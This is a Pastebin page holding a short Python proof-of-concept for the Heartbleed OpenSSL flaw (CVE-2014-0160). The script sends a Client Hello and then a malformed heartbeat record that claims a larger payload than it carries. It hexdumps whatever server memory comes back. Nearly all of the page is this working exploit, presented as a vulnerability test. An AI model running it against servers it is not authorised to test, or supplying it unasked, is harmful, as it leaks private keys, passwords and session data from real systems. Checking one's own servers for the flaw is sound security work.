Advertisement
opexxx

hb.pl

Jul 14th, 2014
319
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 4.29 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
  4. # The author disclaims copyright to this source code.
  5. # Mirror from http://s3.jspenguin.org/ssltest.py
  6.  
  7. import sys
  8. import struct
  9. import socket
  10. import time
  11. import select
  12. import re
  13. from optparse import OptionParser
  14.  
  15. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  16. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  17.  
  18. def h2bin(x):
  19.     return x.replace(' ', '').replace('\n', '').decode('hex')
  20.  
  21. hello = h2bin('''
  22. 16 03 02 00  dc 01 00 00 d8 03 02 53
  23. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  24. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  25. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  26. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  27. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  28. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  29. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  30. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  31. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  32. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  33. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  34. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  35. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  36. 00 0f 00 01 01                                  
  37. ''')
  38.  
  39. hb = h2bin('''
  40. 18 03 02 00 03
  41. 01 40 00
  42. ''')
  43.  
  44. def hexdump(s):
  45.     for b in xrange(0, len(s), 16):
  46.         lin = [c for c in s[b : b + 16]]
  47.         hxdat = ' '.join('%02X' % ord(c) for c in lin)
  48.         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
  49.         print '  %04x: %-48s %s' % (b, hxdat, pdat)
  50.     print
  51.  
  52. def recvall(s, length, timeout=5):
  53.     endtime = time.time() + timeout
  54.     rdata = ''
  55.     remain = length
  56.     while remain > 0:
  57.         rtime = endtime - time.time()
  58.         if rtime < 0:
  59.             return None
  60.         r, w, e = select.select([s], [], [], 5)
  61.         if s in r:
  62.             data = s.recv(remain)
  63.             # EOF?
  64.             if not data:
  65.                 return None
  66.             rdata += data
  67.             remain -= len(data)
  68.     return rdata
  69.        
  70.  
  71. def recvmsg(s):
  72.     hdr = recvall(s, 5)
  73.     if hdr is None:
  74.         print 'Unexpected EOF receiving record header - server closed connection'
  75.         return None, None, None
  76.     typ, ver, ln = struct.unpack('>BHH', hdr)
  77.     pay = recvall(s, ln, 10)
  78.     if pay is None:
  79.         print 'Unexpected EOF receiving record payload - server closed connection'
  80.         return None, None, None
  81.     print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
  82.     return typ, ver, pay
  83.  
  84. def hit_hb(s):
  85.     s.send(hb)
  86.     while True:
  87.         typ, ver, pay = recvmsg(s)
  88.         if typ is None:
  89.             print 'No heartbeat response received, server likely not vulnerable'
  90.             return False
  91.  
  92.         if typ == 24:
  93.             print 'Received heartbeat response:'
  94.             hexdump(pay)
  95.             if len(pay) > 3:
  96.                 print 'WARNING: server returned more data than it should - server is vulnerable!'
  97.             else:
  98.                 print 'Server processed malformed heartbeat, but did not return any extra data.'
  99.             return True
  100.  
  101.         if typ == 21:
  102.             print 'Received alert:'
  103.             hexdump(pay)
  104.             print 'Server returned error, likely not vulnerable'
  105.             return False
  106.  
  107. def main():
  108.     opts, args = options.parse_args()
  109.     if len(args) < 1:
  110.         options.print_help()
  111.         return
  112.  
  113.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  114.     print 'Connecting...'
  115.     sys.stdout.flush()
  116.     s.connect((args[0], opts.port))
  117.     print 'Sending Client Hello...'
  118.     sys.stdout.flush()
  119.     s.send(hello)
  120.     print 'Waiting for Server Hello...'
  121.     sys.stdout.flush()
  122.     while True:
  123.         typ, ver, pay = recvmsg(s)
  124.         if typ == None:
  125.             print 'Server closed connection without sending Server Hello.'
  126.             return
  127.         # Look for server hello done message.
  128.         if typ == 22 and ord(pay[0]) == 0x0E:
  129.             break
  130.  
  131.     print 'Sending heartbeat request...'
  132.     sys.stdout.flush()
  133.     s.send(hb)
  134.     hit_hb(s)
  135.  
  136. if __name__ == '__main__':
  137.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement